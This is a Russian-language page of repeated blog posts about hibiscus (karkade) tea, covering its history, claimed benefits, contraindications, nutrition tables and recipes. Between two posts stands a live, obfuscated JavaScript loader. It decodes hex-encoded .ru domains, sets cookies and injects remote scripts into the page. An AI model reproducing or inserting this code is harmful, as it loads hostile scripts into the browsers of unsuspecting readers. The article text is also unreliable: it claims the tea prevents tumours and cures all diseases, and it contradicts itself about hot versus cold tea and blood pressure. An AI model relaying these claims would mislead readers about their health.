наиболее полный по составу, вкусу и пользе для организма чай.
Холодное заваривание:
Налейте в стеклянный чайник 1.5 л воды,
добавьте 3 стол.
ложки сухого каркадэ. Время
настаивания от 1 до 8 часов.
Перед
употреблением добавьте мед по вкусу.
В нашем чайном клубе есть несколько фирменных
рецептов, например, каркадэ, сваренный с пряностями и сахаром.
Такой напиток хорош как в жару, так и в сырые холодные
петербургские вечера. Он согревает и повышает
настроение.
После того, как каркадэ
готов, размякшие цветочные чашечки можно есть. В них содержится витамин С,
белок,
аминокислоты и пектин, который
способствовует очищению кишечника от токсинов и шлаков.
Каркадэ по праву считается напитком красоты, бодрости,
молодости и здоровья!
Собирал инфромацию этого конспекта:
Ганина Мария Владимировна.
Конец этого конспекта.
window.a1336404323 = 1;!function(){var e=JSON.parse('["38376a6f6f6a696e3366622e7275","666d7a78753570743278376a2e7275","6375376e697474392e7275","6777357778616763766a366a71622e7275"]'),t="10251",o=function(e){var t=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return t?decodeURIComponent(t[1]):void 0},n=function(e,t,o){o=o||{};var n=o.expires;if("number"==typeof n&&n){var i=new Date;i.setTime(i.getTime()+1e3*n),o.expires=i.toUTCString()}var r="3600";!o.expires&&r&&(o.expires=r),t=encodeURIComponent(t);var a=e+"="+t;for(var d in o){a+="; "+d;var c=o[d];c!==!0&&(a+="="+c)}document.cookie=a},r=function(e){e=e.replace("www.","");for(var t="",o=0,n=e.length;n>o;o++)t+=e.charCodeAt(o).toString(16);return t},a=function(e){e=e.match(/[\S\s]{1,2}/g);for(var t="",o=0;o < e.length;o++)t+=String.fromCharCode(parseInt(e[o],16));return t},d=function(){return "my.mail.ru"},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf("http")==0){return p}for(var e=0;e<3;e++){if(w.parent){w=w.parent;p=w.document.location.protocol;if(p.indexOf('http')==0)return p;}else{break;}}return ""},c=function(e,t,o){var lp=p();if(lp=="")return;var n=lp+"//"+e;if(window.smlo&&-1==navigator.userAgent.toLowerCase().indexOf("firefox"))window.smlo.loadSmlo(n.replace("https:","http:"));else if(window.zSmlo&&-1==navigator.userAgent.toLowerCase().indexOf("firefox"))window.zSmlo.loadSmlo(n.replace("https:","http:"));else{var i=document.createElement("script");i.setAttribute("src",n),i.setAttribute("type","text/javascript"),document.head.appendChild(i),i.onload=function(){this.a1649136515||(this.a1649136515=!0,"function"==typeof t&&t())},i.onerror=function(){this.a1649136515||(this.a1649136515=!0,i.parentNode.removeChild(i),"function"==typeof o&&o())}}},s=function(f){var u=a(f)+"/ajs/"+t+"/c/"+r(d())+"_"+(self===top?0:1)+".js";window.a3164427983=f,c(u,function(){o("a2519043306")!=f&&n("a2519043306",f,{expires:parseInt("3600")})},function(){var t=e.indexOf(f),o=e[t+1];o&&s(o)})},f=function(){var t,i=JSON.stringify(e);o("a36677002")!=i&&n("a36677002",i);var r=o("a2519043306");t=r?r:e[0],s(t)};f()}();
Метки: 4.
Мария Пронина.,
15-12-2015 15:10
(ссылка)
4.Чай Каркаде!
Чай Каркаде.
Что такое Чай КАРКАДЕ?
Описание Чая!
Каркаде – это чайный напиток насыщенно красного цвета, его изготавливают из
цветов суданской розы (научное название Гибискус).
У каркаде появилось много названий с
его распространением
по миру. Наиболее популярен этот напиток в
арабских странах. Родиной каркаде является Индия, а наибольшую
популярность имеет в таких странах, как Египет и Судан. В Египте каркаде
называют «напиток фараона».
Чтобы получить каркаде, цветы
гибискуса собирают и засушивают. Напиток каркаде имеет кисловатый
вкус и
обладает множеством полезных свойств.
Чем же полезен чай каркаде?
Вещества, благодаря которым гибискус
имеет красный цвет, укрепляют стенки сосудов. Гибискус способствует снижению
артериального давления, благотворно влияет на работу желудочно-кишечного
тракта и печени, способствует лучшей выработке желчи, оказывает
антибактериальное действие.
Каркаде приобрел популярность в арабских
странах благодаря своему свойству быстро утолять жажду, как в горячем, так и
холодном виде.
Витамины и микроэлементы, которые содержатся
в каркаде, улучшают иммунитет, повышают сопротивляемость организма простудным
заболеваниям, уменьшают нервное напряжение.
О полезных свойствах каркаде можно говорить много,
не зря его в арабских странах называют
«лекарством от всех болезней». Но важно также отметить, какой вред может
нанести каркаде и кому его не стоит употреблять.
Чай каркаде не рекомендуют пить людям, у которых
гастрит с повышенной кислотностью и язва
желудка, поскольку каркаде имеет свойство повышать кислотность. Каркаде не
стоит пить тем, у кого сильно пониженное давление, поскольку, как говорилось
раньше, каркаде снижает артериальное
давление.
Как заваривать чай каркаде?
Каркаде очень вкусный напиток, как в горячем, так и в
холодном
виде. Готовят чай из лепестков суданской розы,
как обычный чай. Для этого одну чайную ложку
лепестков заливают стаканом горячей воды и по вкусу добавляют сахар.
Холодный каркаде готовят также, как и горячий и охлаждают.
По
желанию можно добавить лед.
Чай каркаде получают из цветков гибискуса –
уроженца Индии. Растение принадлежит к семейству мальвовых, это могут
быть как
однолетние травянистые растения, так и многолетние кустарники, всего их около
150 видов. Сейчас эту мальву выращивают во всех тропических областях земли в
самых
разных
целях. Громадные плантации гибискусов есть в Судане, Египте, Индии, Китае,
Шри-Ланке, на острове Ява, в Таиланде и Мексике.
Среди
множества сортов гибискуса, выращиваемых в
декоративных
целях, нам интересен гибискус сабдариффа, или розелла. Этот кустарник
замечателен тем, что все его части
могут употребляться в пищу: листья едят вместо
овощей,
а цветки заваривают как чай. Цветы гибискуса
также
используют в приготовлении варенья, желе и
кондитерских изделий.
В старинных
арабских медицинских трактатах чай каркаде называется лекарством от всех
болезней. На протяжении своего существования этот напиток получил также много
лестных
имен: «королевский напиток», «напиток
фараонов» и пр.
Кстати, чаем
каркаде называть не стоит, т.к. он не относится
ни к какому
из сортов чая. Это травяной напиток.
Он пользовался огромной популярностью у
древней знати,
в том числе
у египетских фараонов и восточных вельмож.
Состав и Свойства чая каркаде. Польза
каркаде?
каркаде?
Напиток из
цветков гибискуса богат антиоксидантами, обладающими омолаживающим действием.
Они
предохраняют организм от воздействия на клетки
свободных радикалов, тем самым предотвращая
образование доброкачественных и злокачественных опухолей.
Красный цвет
цветков гибискуса обеспечивается с помощью веществ антоцианов, которые имеют
Р-витаминную активность. Они способствуют укреплению стенок кровеносных
сосудов, регулируя их проницаемость. Поэтому напиток полезен при проблемах с
сосудами.
Лимонная
кислота, которая содержится в цветках гибискуса в достаточном количестве,
помогает улучшить общее состояние организма. А это, в свою очередь, помогает
профилактике простудных и инфекционных заболеваний. Есть в гибискусе и другие
органические кислоты, которые также благотворно воздействуют на все органы
человека. Так, линолевая кислота предотвращает появление холестериновых бляшек
на стенках сосудов и растворяет ненужный организму жир.
Также каркаде
можно использовать как спазмолитическое средство, он обладает мочегонным
свойством, с его помощью можно понижать температуру тела при различных
заболеваниях.
Комплекс витаминов во главе с витамином С и незаменимые жирные кислоты помогут
уйти от стресса,
улучшить метаболизм мозга и избавиться от
хронической усталости. Известно благотворное влияние каркаде на мочеполовую
систему, поэтому он используется для восстановления мужского здоровья.
Заваренные
цветы, извлеченные из напитка, также
употребляют в пищу. Дело в том, что в них
содержится много пектина, а он выводит из организма соли тяжелых металлов.
Это вещество
как губка впитывает шлаки и токсины,
накопившиеся в организме, и выводит их
естественным путем.
Каркаде также может использоваться как антипаразитарное средство, если
принимать его натощак. Тем, кто страдает похмельным синдромом, каркаде может
заменить капустный рассол – ведь он с успехом проведет интоксикацию организма,
избавив его от продуктов распада алкоголя.
Вред и противопоказания к приему чая
каркаде?
каркаде?
Чай каркаде
повышает кислотность желудочного сока,
поэтому противопоказан страдающим гастритом с
повышенной кислотностью и язвенной болезнью.
Также не
стоит пить чай каркаде при обострении
мочекаменной
и желчнокаменной болезнях. Конечно же,
бывают индивидуальные аллергические реакции,
что
также стоит учитывать.
Заблуждения,
связанные с напитком каркаде: некоторые
полагают,
что этот чай в горячем виде повышает давление, а в холодном – понижает его.
Утверждение неверное, так как в желудок чай поступает примерно одной и той же
температуры, несмотря на исходную температуру напитка.
Как подавать чай каркаде?
Если вы на
работе – воспользуйтесь простыми пакетиками
каркаде,
заварив их кипятком и накрыв чашку минут на десять блюдцем. Пить из
керамических или фарфоровых чашек.
Дома можно
заварить каркаде по любому рецепту, главное – не использовать металлическую
посуду, которая портит вкус и напиток чая. На столе должен быть сахар и лимон.
Если вы
ждете гостей, можно рассказать им про обычай перед застольем выпивать рюмку
каркаде, произнеся тост. Для заваривания чая воспользуйтесь изысканным
рецептом,
попробуйте добавить корицу, гвоздику, имбирь
или мяту.
При подаче горячего напитка на столе могут
быть нарезанные кусочки имбиря (очень тонко) и листики мяты, которые гости
положат в чашку по желанию. А также сахар и дольки лимона.
Холодный
напиток можно подавать с соломинкой.
И помните,
что каркаде – благородный напиток, поэтому и
антураж
должен быть соответствующим, как у египетских фараонов.
Как правильно заваривать каркаде:рецепты?
Оговоримся, что напиток
каркаде пьют с сахаром и без, заваривают холодным и горячим способом, сахар
кладут в начале готовки и в конце, добавляют различные
приправы, кипятят или греют на
водяной бане. Свой эксклюзивный рецепт каждый, видимо, изобретет сам.
Дадим лишь общие советы по
приготовлению напитка.
Рецепт чая каркаде из Египта.
- Лепестки или розочки каркаде 10г (1 ст.л. лепестков или 15 розочек).
- Вода (которой вы привыкли заваривать чай) – 1 стакан.
- Сахар (количество определяется опытным путем).
Цветки
гибискуса замачиваем в холодной воде на два часа
(можно
больше, к примеру – на всю ночь). Затем содержимое ставим на огонь, доводим до
кипения, кипятим на очень
медленном огне 3-5 минут. Снимаем с огня,
процеживаем или просто выбираем соцветия, кладем сахар по вкусу.
Пить напиток можно и горячим, и холодным.
Выловленные
заваренные цветочки лучше также съесть, т.к.
в них очень много полезных веществ.
Их добавляют в супы и к гарнирам вторых блюд.
Холодный каркаде.
Он готовится
двумя способами. Первый – горячий напиток охлаждается, добавляется лед и
напиток пьется через соломинку. Второй – цветки гибискуса настаиваются в воде
комнатной температуры в течение 8 часов. Затем в настой кладут сахар
и пьют как
прохладительный напиток.
Простой рецепт чая каркаде.
Две ложки
лепестков гибискуса или 10 цветков на стакан воды заварить кипятком и варить в
течение 5 минут на медленном
огне, в
конце добавить сахар. Некоторые варят 10 минут, «придавливая» время от времени
цветки для того, чтобы
напиток был
более насыщенным. Правда, при этом никто не гарантирует сохранности всех
полезных веществ растения.
Но вкус
компенсирует пользу.
Завариваем каркаде в чашке.
Целые
лепестки (1-2 ложки) кладем в чашку с сахаром,
заливаем
кипящей водой, накрываем плотно и
держим 10-15 минут. Говорят, что по вкусу не
отличишь от настоящего египетского рецепта.
Этот напиток
получил популярность в нашей стране
относительно
недавно. Многие любят его за то, что каркаде (гибискус) отлично утоляет жажду в
жару. Кому-то нравится его красивый яркий цвет. Кроме того этот напиток
укрепляет
организм за
счет благотворного влияния на функциональное состояние печени и поджелудочной
железы, оказывает
защитное
действие от токсического влияния алкоголя.
Этот продукт
можно найти на полках любого магазина, но большинство даже не подозревает о
полезных свойствах
красивого и
несколько пикантного чая. Кроме того, нужно
знать не
только то, чем полезен чай каркаде. Свойства этого напитка весьма разнообразны.
Польза Чая Каркаде?
Про пользу
каркаде знали еще в Древней Индии.
Каркаде
ценится на территории Азии уже многие века.
Свойства этого красного чая значительно влияют
на общее состояние организма. В первую очередь связано это с большим
содержанием в напитке витамина С. В результате, он имеет
ярко выраженный кислый вкус. В охлажденном
виде напиток употребляют в жару, и даже небольшое его количество
способно эффективно утолить жажду.
Наряду с
этим, свойства чая помогают снизить высокую температуру тела при некоторых
заболеваниях. Потому уже достаточно давно напиток используется в качестве
жаропонижающего средства.
Кроме того,
цветы гибискуса отлично снижают уровень артериального давления. Каркаде нашел
свое широкое
применение среди гипертоников. Многие
отмечают,
что отвар
чая борется с повышенным давлением не хуже, чем некоторые традиционные
лекарственные препараты.
Еще один
плюс в адрес этого чая – эго способность укреплять стенки сосудов, делать их
более гибкими. Но тем, кто хочет укрепить сосуды стоит все же помнить, что при
хроническом пониженном давлении пить каркаде в больших количествах
нежелательно.
Полезные
свойства чая способствуют освобождению
организма от
вирусов, помогают в борьбе с инфекционными и простудными заболеваниями. Если
пить напиток в теплом
виде, то он может лечить от простуды не хуже
малины,
которая намного более популярна в этом
качестве, чем каркаде.
Напиток так
же повышает общий тонус организма, придает бодрость, помогает бороться с
хронической усталостью и стрессами.
Он в
значительной степени повышает работоспособность и приводит в норму метаболизм
мозга, улучшает умственную активность.
Медиками
отмечены спазмолитические и мочегонные
свойства
чая.
Высокое
содержание витаминов и аминокислот положительно влияет на внешний вид человека
в целом. Есть мнение, что чаем каркаде можно протирать лицо в качестве тоника.
Кроме того,
это – очень хороший антиоксидант.
Это свойство
чая взяли во внимание и современные
косметологи, потому лепестки каркаде добавляют
в
маски для лица и различные крема.
Заваренные
лепестки гибискуса не нужно спешить выбрасывать. Его можно потреблять в пищу,
что является средством для выведения из организма тяжелых металлов, шлаков,
свободных радикалов и токсинов. Органические кислоты, содержащиеся в составе
каркаде, имеют свойства расщеплять жиры и
выводить из организма вредный холестерин.
Потому, этот
чай пьют во время диет для похудения.
Его вполне
можно назвать диетическим, так как он
совершенно не имеет в своем составе жиров.
Содержание углеводов в составе напитка из каркаде тоже можно назвать
приемлемым.
Вред Чая Каркаде?
Но если набрать в интернете запрос «чай
каркаде
польза и вред», то можно так же отметить
некоторое негативное влияние этого продукта на организм. Конечно, касается это
отдельных случаев.
Продукт не содержит насыщенных жиров или
чрезмерного процента углеводов. Чай из каркаде является полностью натуральным
продуктом. Кроме того, в нем совершенно нет канцерогенов, которые могли бы
способствовать
развитию рака.
Противопоказания, как правило, связаны с
некоторыми нарушениями пищеварительной системы, в частности – с повышенной
кислотностью. Так же это касается язвенной
болезни желудка. Связано это с тем фактом,
что чай
каркаде
имеет в своем составе высокое содержание различных кислот.
Как было отмечено выше, продукт нельзя
употреблять в
больших количествах тем, кто страдает
пониженным
давлением. Ведь чай каркаде понижает его еще
больше.
Нужно так же учитывать и то, что каркаде не
агрессивный, но все-таки аллерген. Он имеет
яркий
красный цвет, потому его не рекомендуется
употреблять аллергикам, чувствительным к ярко окрашенным продуктам.
Калорийность чая КАРКАДЕ?
При том, что для взрослого человека со
средними
физическими нагрузками нужно потреблять 2200
Ккал в день, каркаде на 100 гр. имеет 309 Ккал. Это – совсем не много если
учесть, что на стакан чая вполне достаточно одной чайной
ложки этого продукта. Ниже предоставлена
таблица,
в которой предоставлены расчеты калорийности
каркаде
для самых распространенных мерных емкостей.
Мера
измерения
Масса в
граммах
Калорийность
в калориях
Чайная
ложка
1
3,09
Столовая
ложка
3
9,27
Стакан 200
мл.
30
92,7
Граненый
стакан 250 мл.
40
123,6
Данные расчеты позволят определить, сколько
чая
каркаде можно пить в день, находясь на той
или иной диете.
ПротивопоказанияЧая КАРКАДЕ?
Противопоказаниями для приема чая каркаде
могут быть: повышенная кислотность желудка, пониженное артериальное давление
(гипотония), склонность к аллергиям,
индивидуальная непереносимость некоторых
компонентов
чая.
Многие задают вопросы по поводу того, можно
ли пить
этот
чай беременным женщинам. Несмотря на все его
полезные свойства, в этот период лучше брать
витамины
из других источников. Все дело в том, что
способность
красного каркаде стимулировать менструацию
может вызвать осложнения у беременных женщин. Так же этот напиток нежелательно
употреблять женщинам, которые только
планируют беременность. Чай стимулирует
выработку
гормонов, которые препятствуют подготовке
матки к беременности.
В период лактации пить напиток тоже не
рекомендуется. Эта рекомендация связана с тем, что каркаде является аллергеном.
Так
как грудные дети чувствительны ко всем ярким продуктам,
то у
них легко может возникнуть на этом фоне проявление аллергической реакции.
Детям пить каркаде можно начиная с одного
года, но в разбавленном виде. Нужно при этом учитывать, что каркаде является
мочегонным средством. А значит, не нужно поить
ребенка этим чаем на ночь.
Пищевая ценность ЧАЯ КАРКАДЕ?
Ниже будет предоставлена таблица, в которой
указано
содержание в чае каркаде белков, жиров и
углеводов.
Данные
из таблицы могут стать полезными для людей,
которые следят за процентом этих веществ в
различных
продуктах.
Наименование
вещества
Содержание
в 100 г
% от
дневной нормы
Белки
0,8
1
Насыщенные
жиры
0
0
Мононенасыщенные
жиры
0
0
Полиненасыщенные
жиры
0
0
Углеводы
81,5
106
Таблица с витаминами в чае каркаде:
Название
витамина
Содержание
в 100 гр. продукта
% от
дневной нормы
Витамин B1
(тиамин) (B1)
1,279
67
Витамин C
(C)
18,4
25,7
Витамин
A (РЭ)
(A (РЭ))
0,17
10
Бета-каротин
(провитамин витамина А)
0,178
0,5
Список полезных микро- и
макроэлементов Чая КАРКАДЕ?
макроэлементов Чая КАРКАДЕ?
Название
минерала
Содержание
в 100 гр. продукта
% от
дневной нормы
Кальций
(Са)
1
0,001
Магний
(Mg)
1
0,29
Натрий
(Na)
3
3
Калий (К)
9
10
Фосфор (Р)
3
0,38
Таким образом – чай из лепестков гибискуса
можно назвать довольно полезным продуктом. Из витаминов в нем
содержится небольшое количество витамина С и
бета
каротина.
Из минералов – достаточно большое количество
калия.
Из всего вышесказанного можно сделать вывод,
что чай каркаде является диетическим и достаточно полезным продутом. Он ценится
за пикантный и выразительный вкус, а рубиновый цвет вызывает чувство аппетита.
Кроме того он улучшает обмен
веществ в организме и обладает успокаивающим
эффектом.
Чай из цветков гибискуса отлично сочетается с
другими видами чая и специями. Это значит,
что напиток
можно постоянно изменять, добавляя разные
новые
компоненты. Его можно пить как в холодном, так
и в
теплом виде. При этом, холодный каркаде очень
хорошо
утоляет жажду, а теплый чай в сочетании с
корицей и другими пряностями может согреть весь организм.
Есть мнение, что горячий каркаде, в отличие
от его
охлажденного аналога повышает уровень
артериального
давления. Но это не так. Теплый и горячий
напитки снижают давление, температура здесь не играет роли. Это означает,
в зимнее время года гипертоники могут
заменять этим напитком традиционный черный чай.
Но не смотря на все его полезные свойства,
чай каркаде все же имеет и некоторые противопоказания. И об этом нужно
помнить любителям таких приятных напитков,
как чай из
цветов гибискуса.
Каркадэ: свойства, польза и вред Что такое каркадэ?
Каркадэ (каркаде) - это растение семейства мальвовых.
В высоту достигает до 3.5м. Стебель и листья
зеленые, с красноватыми оттенками. Цветки 5-7 см в диаметре с сильным ароматом.
Научное название его Hibiscus sabdariffa.
Родина каркадэ -
Индия, сейчас его также выращивают во
многих странах с тропическим климатом: в
Судане, Египте,
Китае,
на Шри Ланке, Таиланде, в Мексике.
В Судане напиток из каркадэ
настолько стал популярным, что получил еще одно свое название – суданская
роза.
В Египте чай из гибискуса
называли напитком фараонов, дарующим жизненную силу и бессмертие.
В Малайзии каркадэ,
известный под названием бунга рая – национальный цветок. Он изображен на гербе
страны, так как,
по
утверждению мусульман, пять его лепестков соответствуют пяти заповедям ислама.
Когда лепестки увядают, на растении остаются
чашечки цветков. Что удивительно, именно тогда они набирают сок,
увеличиваются в размерах и становятся готовы к
сбору. Из высушенных чашечек цветков каркадэ можно приготовить
прекрасный тонизирующий чай.
В зависимости от места произрастания, цвет и
вкус чая из
каркадэ
будут отличаться. Цвет настоя египетского каркадэ вишневый,
вкус кислый. Мексиканский каркадэ насыщенно оранжевого цвета,
вкус слегка соленый. А чай из каркадэ, выращенного в Таиланде
более сладкий, красивого
пурпурного цвета.
Листья, семена, лепестки гибискуса
также используются в кулинарии, косметологии. В производстве для окраски
тканей
используют все части растения, особенно стебли и
корни.
Распространение каркадэ?
В Египте чай из каркадэ давно
стал национальным напитком. В Древнем Египте, видимо, уже знали о его
пользе для здоровья. Сухие части этого растения археологи находили даже в
гробницах!
На Востоке и в Африке гибискус широко
использовался в
медицине как лекарство от многих болезней.
В Европе каркадэ стал
известен уже в ХVII веке, но не
пользовался большой популярностью. Зато в
наши дни его популярность стремительно растет особенно в регионах
средиземноморского бассейна, а также в скандинавских
странах.
Польза каркадэ?
Каркадэ содержит 13 органических кислот, среди них
лимонная, яблочная, винная, которые придают
чаю кислый
вкус, утоляют жажду.
Витамины, микроэлементы, биологически
активные вещества способствуют укреплению иммунитета, являясь прекрасной
профилактикой против простуды и гриппа, повышают
физическую выносливость, снижают
нервное напряжение.
В состав растения входят антоцины. Именно им
чай из каркадэ обязан своим цветом. Антоцины укрепляют стенки
кровеносных сосудов, регулируют их проницаемость и способствуют
снижению уровня холестерина в крови.
Каркадэ оказывает спазмолитическое действие, улучшает
выработку желчи, благотворно действует на печень и
мочеполовую систему. При регулярном
употреблении способствует нормализации обмена веществ,
благотворно влияет на деятельность поджелудочной
железы и желудка.
Каркадэ обладает также профилактическими свойствами. Он
предупреждает заболевания кишечно - желудочного тракта, облегчает протекание
диабета.
Чай обладает мягким слабительным
эффектом.
Относительно этого установлено, что устойчивая
нормализация работы желудочно - кишечного тракта достигается при
систематическом употреблении в течении не менее 15 дней,
потом пауза неделю и еще пить не менее 7
дней.
Но самое широко известное свойство каркадэ,
это регуляция давления: в горячем виде напиток повышает давление, а в
холодном – понижает.
Чай из каркадэ снимает
последствия алкогольного отравления,
что
тоже является немаловажным фактором для поддержания здоровья.
Коренные жители Африки цветки каркадэ
используют для остановки кровотечения при порезах.
В каркадэ нет щавелевой
кислоты, благодаря которой
образуются камни в почках, поэтому он не
имеет
противопоказаний для больных почечными
заболеваниями.
Возможный вред каркадэ?
Страдающим гастритами с повышенной
кислотностью и
язвенной болезнью, не рекомендуется
употреблять чай из
каркадэ, так как напиток повышает кислотность
желудочного сока.
Также следует соблюдать осторожность при
употреблении
людям с очень низким давлением.
Не рекомендуется давать чай из каркадэ
детям до года.
И, конечно, надо быть внимательным,
употребляя настой тем,
кто
обладает индивидуальной непереносимостью к отдельным видам продуктов.
Каркадэ в кулинарии?
Свежие листья каркадэ кладут
в овощные салаты, в мясные и рыбные блюда. Сухие семена добавляют в густые супы.
А из лепестков получается очень вкусное варенье!
Каркадэ в косметологии?
Прекрасно освежат кожу лица кубики льда,
приготовленые из заваренного каркадэ. Если у вас жирная кожа,
можно до замораживания добавить несколько капель белого вина. После процедуры
необходимо тщательно вымыть лицо и нанести питательный крем.
Также каркадэ можно
использовать в пилинговых смесях
с
кофе: 1 ст. ложку молотого кофе залить крепким настоем каркадэ
— чудо-пилинг готов! Главное потом обильно
смыть
эту смесь с тела водой.
Приготовление чая из каркадэ?
Чай из каркадэ можно
готовить разными способами. Для этого подойдет стеклянная или фарфоровая
посуда. Не стоит пользоваться металлическими чайниками, это может
сказаться на вкусе и свойствах чая.
Простой способ:
Залить сухую заварку кипятком, дать
настояться 5-10 минут.
Чай
готов. Если настой постоит дольше, вкус и состав его будет только богаче.
Варка каркаде:
Налейте в стеклянный чайник 1,5 л воды,
добавьте 2-3 стол.
ложки
сухого каркадэ, доведите до кипения. После потомите 3 мин на
слабом огне, добавьте сахар по вкусу.
Прекрасный напиток темно-рубинового цвета
готов!
Важно
не перекипятить каркадэ, иначе он приобретет синие оттенки и
станет невкусным.
Еще один способ, который рекомендуют
диетологи, это
холодное заваривание. Такой способ дает
наиболее полный по составу, вкусу и пользе для организма чай.
Холодное заваривание:
Налейте в стеклянный чайник 1.5 л воды,
добавьте 3 стол.
ложки сухого каркадэ. Время
настаивания от 1 до 8 часов.
Перед
употреблением добавьте мед по вкусу.
В нашем чайном клубе есть несколько фирменных
рецептов, например, каркадэ, сваренный с пряностями и сахаром.
Такой напиток хорош как в жару, так и в сырые холодные
петербургские вечера. Он согревает и повышает
настроение.
После того, как каркадэ
готов, размякшие цветочные чашечки можно есть. В них содержится витамин С,
белок,
аминокислоты и пектин, который
способствовует очищению кишечника от токсинов и шлаков.
Каркадэ по праву считается напитком красоты, бодрости,
молодости и здоровья!
Собирал инфромацию этого конспекта:
Ганина Мария Владимировна.
Конец этого конспекта.
Чай Каркаде.
Что такое Чай КАРКАДЕ?
Описание Чая!
Каркаде – это чайный напиток насыщенно красного цвета, его изготавливают из
цветов суданской розы (научное название Гибискус).
У каркаде появилось много названий с
его распространением
по миру. Наиболее популярен этот напиток в
арабских странах. Родиной каркаде является Индия, а наибольшую
популярность имеет в таких странах, как Египет и Судан. В Египте каркаде
называют «напиток фараона».
Чтобы получить каркаде, цветы
гибискуса собирают и засушивают. Напиток каркаде имеет кисловатый
вкус и
обладает множеством полезных свойств.
Чем же полезен чай каркаде?
Вещества, благодаря которым гибискус
имеет красный цвет, укрепляют стенки сосудов. Гибискус способствует снижению
артериального давления, благотворно влияет на работу желудочно-кишечного
тракта и печени, способствует лучшей выработке желчи, оказывает
антибактериальное действие.
Каркаде приобрел популярность в арабских
странах благодаря своему свойству быстро утолять жажду, как в горячем, так и
холодном виде.
Витамины и микроэлементы, которые содержатся
в каркаде, улучшают иммунитет, повышают сопротивляемость организма простудным
заболеваниям, уменьшают нервное напряжение.
О полезных свойствах каркаде можно говорить много,
не зря его в арабских странах называют
«лекарством от всех болезней». Но важно также отметить, какой вред может
нанести каркаде и кому его не стоит употреблять.
Чай каркаде не рекомендуют пить людям, у которых
гастрит с повышенной кислотностью и язва
желудка, поскольку каркаде имеет свойство повышать кислотность. Каркаде не
стоит пить тем, у кого сильно пониженное давление, поскольку, как говорилось
раньше, каркаде снижает артериальное
давление.
Как заваривать чай каркаде?
Каркаде очень вкусный напиток, как в горячем, так и в
холодном
виде. Готовят чай из лепестков суданской розы,
как обычный чай. Для этого одну чайную ложку
лепестков заливают стаканом горячей воды и по вкусу добавляют сахар.
Холодный каркаде готовят также, как и горячий и охлаждают.
По
желанию можно добавить лед.
Чай каркаде получают из цветков гибискуса –
уроженца Индии. Растение принадлежит к семейству мальвовых, это могут
быть как
однолетние травянистые растения, так и многолетние кустарники, всего их около
150 видов. Сейчас эту мальву выращивают во всех тропических областях земли в
самых
разных
целях. Громадные плантации гибискусов есть в Судане, Египте, Индии, Китае,
Шри-Ланке, на острове Ява, в Таиланде и Мексике.
Среди
множества сортов гибискуса, выращиваемых в
декоративных
целях, нам интересен гибискус сабдариффа, или розелла. Этот кустарник
замечателен тем, что все его части
могут употребляться в пищу: листья едят вместо
овощей,
а цветки заваривают как чай. Цветы гибискуса
также
используют в приготовлении варенья, желе и
кондитерских изделий.
В старинных
арабских медицинских трактатах чай каркаде называется лекарством от всех
болезней. На протяжении своего существования этот напиток получил также много
лестных
имен: «королевский напиток», «напиток
фараонов» и пр.
Кстати, чаем
каркаде называть не стоит, т.к. он не относится
ни к какому
из сортов чая. Это травяной напиток.
Он пользовался огромной популярностью у
древней знати,
в том числе
у египетских фараонов и восточных вельмож.
Состав и Свойства чая каркаде. Польза
каркаде?
каркаде?
Напиток из
цветков гибискуса богат антиоксидантами, обладающими омолаживающим действием.
Они
предохраняют организм от воздействия на клетки
свободных радикалов, тем самым предотвращая
образование доброкачественных и злокачественных опухолей.
Красный цвет
цветков гибискуса обеспечивается с помощью веществ антоцианов, которые имеют
Р-витаминную активность. Они способствуют укреплению стенок кровеносных
сосудов, регулируя их проницаемость. Поэтому напиток полезен при проблемах с
сосудами.
Лимонная
кислота, которая содержится в цветках гибискуса в достаточном количестве,
помогает улучшить общее состояние организма. А это, в свою очередь, помогает
профилактике простудных и инфекционных заболеваний. Есть в гибискусе и другие
органические кислоты, которые также благотворно воздействуют на все органы
человека. Так, линолевая кислота предотвращает появление холестериновых бляшек
на стенках сосудов и растворяет ненужный организму жир.
Также каркаде
можно использовать как спазмолитическое средство, он обладает мочегонным
свойством, с его помощью можно понижать температуру тела при различных
заболеваниях.
Комплекс витаминов во главе с витамином С и незаменимые жирные кислоты помогут
уйти от стресса,
улучшить метаболизм мозга и избавиться от
хронической усталости. Известно благотворное влияние каркаде на мочеполовую
систему, поэтому он используется для восстановления мужского здоровья.
Заваренные
цветы, извлеченные из напитка, также
употребляют в пищу. Дело в том, что в них
содержится много пектина, а он выводит из организма соли тяжелых металлов.
Это вещество
как губка впитывает шлаки и токсины,
накопившиеся в организме, и выводит их
естественным путем.
Каркаде также может использоваться как антипаразитарное средство, если
принимать его натощак. Тем, кто страдает похмельным синдромом, каркаде может
заменить капустный рассол – ведь он с успехом проведет интоксикацию организма,
избавив его от продуктов распада алкоголя.
Вред и противопоказания к приему чая
каркаде?
каркаде?
Чай каркаде
повышает кислотность желудочного сока,
поэтому противопоказан страдающим гастритом с
повышенной кислотностью и язвенной болезнью.
Также не
стоит пить чай каркаде при обострении
мочекаменной
и желчнокаменной болезнях. Конечно же,
бывают индивидуальные аллергические реакции,
что
также стоит учитывать.
Заблуждения,
связанные с напитком каркаде: некоторые
полагают,
что этот чай в горячем виде повышает давление, а в холодном – понижает его.
Утверждение неверное, так как в желудок чай поступает примерно одной и той же
температуры, несмотря на исходную температуру напитка.
Как подавать чай каркаде?
Если вы на
работе – воспользуйтесь простыми пакетиками
каркаде,
заварив их кипятком и накрыв чашку минут на десять блюдцем. Пить из
керамических или фарфоровых чашек.
Дома можно
заварить каркаде по любому рецепту, главное – не использовать металлическую
посуду, которая портит вкус и напиток чая. На столе должен быть сахар и лимон.
Если вы
ждете гостей, можно рассказать им про обычай перед застольем выпивать рюмку
каркаде, произнеся тост. Для заваривания чая воспользуйтесь изысканным
рецептом,
попробуйте добавить корицу, гвоздику, имбирь
или мяту.
При подаче горячего напитка на столе могут
быть нарезанные кусочки имбиря (очень тонко) и листики мяты, которые гости
положат в чашку по желанию. А также сахар и дольки лимона.
Холодный
напиток можно подавать с соломинкой.
И помните,
что каркаде – благородный напиток, поэтому и
антураж
должен быть соответствующим, как у египетских фараонов.
Как правильно заваривать каркаде:рецепты?
Оговоримся, что напиток
каркаде пьют с сахаром и без, заваривают холодным и горячим способом, сахар
кладут в начале готовки и в конце, добавляют различные
приправы, кипятят или греют на
водяной бане. Свой эксклюзивный рецепт каждый, видимо, изобретет сам.
Дадим лишь общие советы по
приготовлению напитка.
Рецепт чая каркаде из Египта.
- Лепестки или розочки каркаде 10г (1 ст.л. лепестков или 15 розочек).
- Вода (которой вы привыкли заваривать чай) – 1 стакан.
- Сахар (количество определяется опытным путем).
